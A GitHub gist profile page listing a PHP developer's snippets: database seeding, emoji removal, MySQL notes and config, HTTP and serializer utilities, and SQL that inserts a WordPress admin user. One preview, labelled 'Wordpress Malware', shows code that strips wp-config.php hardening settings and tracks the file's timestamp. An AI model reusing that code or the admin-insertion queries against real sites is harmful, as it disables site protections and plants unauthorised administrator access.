Skip to content

Instantly share code, notes, and snippets.

View phpfour's full-sized avatar

Mohammad Emran phpfour

View GitHub Profile
@phpfour
phpfour / seeds.patch
Created June 30, 2021 05:14
Akaunting Data Generator
Index: database/seeds/SampleData.php
IDEA additional info:
Subsystem: com.intellij.openapi.diff.impl.patch.CharsetEP
<+>UTF-8
===================================================================
diff --git a/database/seeds/SampleData.php b/database/seeds/SampleData.php
--- a/database/seeds/SampleData.php (revision 5a305a859efbc0568ff19820d21b432713df52ac)
+++ b/database/seeds/SampleData.php (date 1624084150026)
@@ -37,13 +37,15 @@
Contact::factory()->count($count)->create();
@phpfour
phpfour / emoji.php
Created January 30, 2021 06:18
A simple removeEmoji function in PHP
<?php
// @see https://stackoverflow.com/a/65179618/196121
function removeEmoji(string $text): string
{
$text = iconv('UTF-8', 'ISO-8859-15//IGNORE', $text);
$text = preg_replace('/\s+/', ' ', $text);
return iconv('ISO-8859-15', 'UTF-8', $text);
}
@phpfour
phpfour / database.sh
Created January 25, 2021 02:21
Frequent MySQL/MariaDB operations
MySQL Operations
--------------------------------------
In this document:
- Export/Import DB
- Export/Import Table from DB
- mysqladmin
- Repair DB
--------------------------------------
@phpfour
phpfour / my.cnf
Created January 25, 2021 02:18 — forked from fevangelou/my.cnf
Optimized my.cnf configuration for MySQL/MariaSQL (on Ubuntu, CentOS etc. servers)
# Optimized my.cnf configuration for MySQL/MariaSQL
#
# by Fotis Evangelou, developer of Engintron (engintron.com)
#
# ~ Updated January 2020 ~
#
#
# The settings provided below are a starting point for a 2GB - 4GB RAM server with 2-4 CPU cores.
# If you have different resources available you should adjust accordingly to save CPU, RAM & disk I/O usage.
#
@phpfour
phpfour / LanguageType.php
Created April 1, 2020 10:42
Language List in PHP
<?php
/**
* ISO 639-1 Language Codes
*
* References: http://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
*/
class LanguageType
{
public static $list = [
@phpfour
phpfour / replace.php
Created October 25, 2019 15:06
Wordpress Malware
<?php
$str = file_get_contents("../../wp-config.php");
$str = str_replace("define('DISALLOW_FILE_EDIT', true);","",$str);
$str = str_replace("define('DISALLOW_FILE_MODS', true);","",$str);
$ftime1 = filemtime("../../wp-config.php");
file_put_contents("../../wp-config.php", $str);
@phpfour
phpfour / HttpUtility.php
Created September 9, 2019 14:17
HttpUtility
<?php
namespace Vroom\Notification\Utility;
final class HttpUtility
{
public static function requestAsync($url, $params = [], $headers = [], $method = 'POST', $timeout = 30)
{
$paramString = http_build_query($params);
@phpfour
phpfour / serializer.php
Last active November 29, 2018 11:37
JMS Serializer Options
<?php
use JMS\Serializer\SerializerBuilder;
use JMS\Serializer\JsonSerializationVisitor;
use JMS\Serializer\Naming\IdenticalPropertyNamingStrategy;
use JMS\Serializer\Naming\SerializedNameAnnotationStrategy;
$visitor = new JsonSerializationVisitor(
new SerializedNameAnnotationStrategy(
new IdenticalPropertyNamingStrategy()
@phpfour
phpfour / debug.php
Created October 1, 2018 10:55
Debug Incoming HTTP Requests
<?php
function debugHttpRequest($filename, $mode = FILE_APPEND, $json = false)
{
$output = '[' . date('Y-m-d H:i:s') . '] '
. $_SERVER['REQUEST_METHOD'] . ' '
. $_SERVER['REQUEST_URI']
. "\n\n";
foreach ($_SERVER as $key => $value) {
@phpfour
phpfour / wp-user.md
Last active March 9, 2018 14:25
WP New Admin User

Running the below queries will create a new admin user in Wordpress:

INSERT INTO `wp_users` (`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_status`)
VALUES ('emran', MD5('emran123'), 'Mohammad Emran', '[email protected]', '0');

INSERT INTO `wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`)
VALUES (NULL, (Select max(id) FROM wp_users), 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');

INSERT INTO `wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`)